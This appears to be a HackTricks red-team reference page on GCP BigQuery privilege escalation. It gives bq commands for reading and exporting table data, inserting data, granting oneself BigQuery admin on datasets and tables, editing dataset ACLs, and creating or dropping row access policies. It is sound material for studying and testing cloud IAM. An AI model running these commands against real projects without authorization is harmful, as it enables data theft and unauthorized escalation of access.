7.0 KiB
GCP - BigQuery Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
BigQuery
For more information about BigQuery check:
{% content-ref url="../gcp-services/gcp-bigquery-enum.md" %} gcp-bigquery-enum.md {% endcontent-ref %}
Read Table
Reading the information stored inside the a BigQuery table it might be possible to find sensitive information. To access the info the permission needed is bigquery.tables.get , bigquery.jobs.create and bigquery.tables.getData:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Export data
This is another way to access the data. Export it to a cloud storage bucket and the download the files with the information.
To perform this action the following permissions are needed: bigquery.tables.export, bigquery.jobs.create and storage.objects.create.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Insert data
It might be possible to introduce certain trusted data in a Bigquery table to abuse a vulnerability in some other place. This can be easily done with the permissions bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:
{% code overflow="wrap" %}
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
{% endcode %}
bigquery.datasets.setIamPolicy
An attacker could abuse this privilege to give himself further permissions over a BigQuery dataset:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update, (bigquery.datasets.get)
Just this permission allows to update your access over a BigQuery dataset by modifying the ACLs that indicate who can access it:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
An attacker could abuse this privilege to give himself further permissions over a BigQuery table:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create
According to the docs, with the mention permissions it's possible to update a row policy.
However, using the cli bq you need some more: bigquery.rowAccessPolicies.create, bigquery.tables.get.
{% code overflow="wrap" %}
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
{% endcode %}
It's possible to find the filter ID in the output of the row policies enumeration. Example:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
If you have bigquery.rowAccessPolicies.delete instead of bigquery.rowAccessPolicies.update you could also just delete the policy:
{% code overflow="wrap" %}
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
{% endcode %}
{% hint style="danger" %}
Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when term is Cfba, just modify all the records of the table to have term = "Cfba". However this is prevented by bigquery.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.